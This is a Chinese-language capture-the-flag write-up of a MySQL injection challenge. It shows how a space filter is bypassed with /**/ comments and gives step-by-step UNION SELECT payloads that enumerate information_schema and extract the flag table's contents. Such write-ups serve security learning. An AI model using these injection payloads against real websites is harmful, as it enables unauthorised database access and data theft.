简单的SQL注入之2
题目
题干链接:http://www.shiyanbar.com/ctf/1908
有回显的mysql注入
格式:flag{}
解题链接: http://ctf5.shiyanbar.com/web/index_2.php
解法1:检测被过滤的关键词,发现为空格,用/**/替代空格。一个个查表
解法2:sqlmap temper转空格
过程1:
1.直接提交1看看
2.加入'
看看
发现报错,可能有注点
3.测试1' and '1'='1
4.1发现被检测了。哪句?and?这里试了好多次。放弃了。看一言别人wp发现是过滤了空格。。
4.2被过滤了空格怎么办? a.hex()法 ; b./**/法。这里用b
5.1测试1'/**/and/**/'1'='1
,正确返回1的结果。
5.2测试1'/**/and/**/'1'='2
,没返回,故存在注入漏洞
6.开始爆库。
6.1看数据库,payload:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/#
结果:
6.2看数据表,payload:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/#
结果:
发现flag表。
6.3看列名,payload:
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/#
结果:
发现flag列
6.4查看flag列内容
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/#
结果:
7.得到flag